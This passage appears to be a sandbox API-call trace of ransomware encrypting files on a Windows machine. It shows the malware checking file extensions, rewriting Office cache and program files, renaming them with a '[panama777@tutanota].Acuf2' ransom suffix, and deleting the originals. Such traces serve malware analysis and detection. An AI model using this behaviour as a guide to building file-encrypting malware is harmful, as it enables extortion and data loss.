	[0055.990] SetEndOfFile (hFile=0x1e0) returned 1
	[0055.990] CloseHandle (hObject=0x1e0) returned 1
	[0055.990] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.990] SetEndOfFile (hFile=0x158) returned 1
	[0055.994] CloseHandle (hObject=0x158) returned 1
	[0055.994] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.994] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1
	[0056.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.912] lstrlenW (lpString=".doc") returned 4
	[0056.912] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.912] lstrlenW (lpString=".docx") returned 5
	[0056.912] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0056.912] lstrlenW (lpString=".pdf") returned 4
	[0056.912] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.912] lstrlenW (lpString=".xls") returned 4
	[0056.912] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.912] lstrlenW (lpString=".xlsx") returned 5
	[0056.912] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0056.912] lstrlenW (lpString=".ppt") returned 4
	[0056.912] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.912] lstrlenW (lpString=".zip") returned 4
	[0056.912] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.912] lstrlenW (lpString=".rar") returned 4
	[0056.912] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.912] lstrlenW (lpString=".bz2") returned 4
	[0056.912] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.913] lstrlenW (lpString=".7z") returned 3
	[0056.913] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.913] lstrlenW (lpString=".dbf") returned 4
	[0056.913] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.913] lstrlenW (lpString=".1cd") returned 4
	[0056.913] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.913] lstrlenW (lpString=".jpg") returned 4
	[0056.913] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.913] lstrlenW (lpString=".doc") returned 4
	[0056.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.913] lstrlenW (lpString=".docx") returned 5
	[0056.913] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0056.913] lstrlenW (lpString=".pdf") returned 4
	[0056.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.913] lstrlenW (lpString=".xls") returned 4
	[0056.913] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.913] lstrlenW (lpString=".xlsx") returned 5
	[0056.913] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0056.913] lstrlenW (lpString=".ppt") returned 4
	[0056.913] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.913] lstrlenW (lpString=".zip") returned 4
	[0056.913] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.913] lstrlenW (lpString=".rar") returned 4
	[0056.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.914] lstrlenW (lpString=".bz2") returned 4
	[0056.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.914] lstrlenW (lpString=".7z") returned 3
	[0056.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.914] lstrlenW (lpString=".dbf") returned 4
	[0056.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.914] lstrlenW (lpString=".1cd") returned 4
	[0056.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0056.914] lstrlenW (lpString=".jpg") returned 4
	[0056.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.914] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0056.914] lstrlenW (lpString="VisiorWW.cab") returned 12
	[0056.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0057.427] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=195011319) returned 1
	[0057.427] CloseHandle (hObject=0x204) returned 1
	[0057.427] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020
	[0057.427] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0057.427] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0057.427] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0057.427] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0057.428] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0057.428] ReadFile (in: hFile=0x204, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0057.435] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0057.435] ReadFile (in: hFile=0x204, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0057.439] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0057.439] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0057.439] ReadFile (in: hFile=0x204, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0057.455] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.455] WriteFile (in: hFile=0x204, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0057.757] SetEndOfFile (hFile=0x204) returned 1
	[0057.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fb3008
	[0057.819] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.819] WriteFile (in: hFile=0x204, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.820] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.820] WriteFile (in: hFile=0x204, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.822] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.822] WriteFile (in: hFile=0x204, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fb3008 | out: hHeap=0x4f0000) returned 1
	[0057.824] CloseHandle (hObject=0x204) returned 1
	[0057.824] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0057.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.825] lstrlenW (lpString=".doc") returned 4
	[0057.825] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0057.825] lstrlenW (lpString=".docx") returned 5
	[0057.825] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0057.825] lstrlenW (lpString=".pdf") returned 4
	[0057.825] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0057.825] lstrlenW (lpString=".xls") returned 4
	[0057.825] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0057.825] lstrlenW (lpString=".xlsx") returned 5
	[0057.825] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0057.825] lstrlenW (lpString=".ppt") returned 4
	[0057.825] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0057.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.825] lstrlenW (lpString=".zip") returned 4
	[0057.825] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0057.826] lstrlenW (lpString=".rar") returned 4
	[0057.826] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0057.826] lstrlenW (lpString=".bz2") returned 4
	[0057.826] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0057.826] lstrlenW (lpString=".7z") returned 3
	[0057.826] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0057.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.826] lstrlenW (lpString=".dbf") returned 4
	[0057.826] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0057.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.826] lstrlenW (lpString=".1cd") returned 4
	[0057.826] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0057.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.826] lstrlenW (lpString=".jpg") returned 4
	[0057.826] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0057.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.826] lstrlenW (lpString=".doc") returned 4
	[0057.826] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0057.826] lstrlenW (lpString=".docx") returned 5
	[0057.826] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0057.826] lstrlenW (lpString=".pdf") returned 4
	[0057.826] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0057.826] lstrlenW (lpString=".xls") returned 4
	[0057.826] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0057.826] lstrlenW (lpString=".xlsx") returned 5
	[0057.826] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0057.826] lstrlenW (lpString=".ppt") returned 4
	[0057.826] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0057.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.827] lstrlenW (lpString=".zip") returned 4
	[0057.827] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0057.827] lstrlenW (lpString=".rar") returned 4
	[0057.827] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0057.827] lstrlenW (lpString=".bz2") returned 4
	[0057.827] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0057.827] lstrlenW (lpString=".7z") returned 3
	[0057.827] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0057.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.827] lstrlenW (lpString=".dbf") returned 4
	[0057.827] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0057.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.827] lstrlenW (lpString=".1cd") returned 4
	[0057.827] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0057.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75
	[0057.827] lstrlenW (lpString=".jpg") returned 4
	[0057.827] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0057.827] lstrcmpiW (lpString1=".EXE", lpString2=".Acuf2") returned 1
	[0057.827] lstrlenW (lpString="DWTRIG20.EXE") returned 12
	[0057.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0058.811] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=629664) returned 1
	[0058.811] CloseHandle (hObject=0x170) returned 1
	[0058.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20
	[0058.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0058.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0058.814] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.814] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0059.917] GetLastError () returned 0x0
	[0059.917] ReadFile (in: hFile=0x170, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x99ba0, lpOverlapped=0x0) returned 1
	[0059.929] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0x99bb0, lpOverlapped=0x0) returned 1
	[0059.940] ReadFile (in: hFile=0x170, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.940] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.941] SetEndOfFile (hFile=0x1dc) returned 1
	[0059.941] CloseHandle (hObject=0x1dc) returned 1
	[0059.941] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.941] SetEndOfFile (hFile=0x170) returned 1
	[0059.946] CloseHandle (hObject=0x170) returned 1
	[0059.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.947] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1
	[0059.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.947] lstrlenW (lpString=".doc") returned 4
	[0059.947] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0059.947] lstrlenW (lpString=".docx") returned 5
	[0059.947] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0059.947] lstrlenW (lpString=".pdf") returned 4
	[0059.947] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0059.947] lstrlenW (lpString=".xls") returned 4
	[0059.947] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0059.947] lstrlenW (lpString=".xlsx") returned 5
	[0059.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0059.947] lstrlenW (lpString=".ppt") returned 4
	[0059.947] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0059.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.947] lstrlenW (lpString=".zip") returned 4
	[0059.947] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0059.947] lstrlenW (lpString=".rar") returned 4
	[0059.947] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0059.947] lstrlenW (lpString=".bz2") returned 4
	[0059.948] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0059.948] lstrlenW (lpString=".7z") returned 3
	[0059.948] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0059.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.948] lstrlenW (lpString=".dbf") returned 4
	[0059.948] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0059.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.948] lstrlenW (lpString=".1cd") returned 4
	[0059.948] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0059.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.948] lstrlenW (lpString=".jpg") returned 4
	[0059.948] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0059.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.948] lstrlenW (lpString=".doc") returned 4
	[0059.948] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0059.948] lstrlenW (lpString=".docx") returned 5
	[0059.948] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0059.948] lstrlenW (lpString=".pdf") returned 4
	[0059.948] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0059.948] lstrlenW (lpString=".xls") returned 4
	[0059.948] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0059.948] lstrlenW (lpString=".xlsx") returned 5
	[0059.948] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0059.948] lstrlenW (lpString=".ppt") returned 4
	[0059.948] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0059.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.948] lstrlenW (lpString=".zip") returned 4
	[0059.948] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0059.948] lstrlenW (lpString=".rar") returned 4
	[0059.948] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0059.948] lstrlenW (lpString=".bz2") returned 4
	[0059.949] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0059.949] lstrlenW (lpString=".7z") returned 3
	[0059.949] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0059.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.949] lstrlenW (lpString=".dbf") returned 4
	[0059.949] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0059.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.949] lstrlenW (lpString=".1cd") returned 4
	[0059.949] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0059.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62
	[0059.949] lstrlenW (lpString=".jpg") returned 4
	[0059.949] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0059.949] lstrcmpiW (lpString1=".FLT", lpString2=".Acuf2") returned 1
	[0059.949] lstrlenW (lpString="CGMIMP32.FLT") returned 12
	[0059.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 19
	os_tid = 0x984

	[0036.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x36812f8
	[0036.918] lstrlenW (lpString="C:") returned 2
	[0036.918] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a3fd00 | out: lpFindFileData=0x3a3fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5e1150
	[0036.918] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
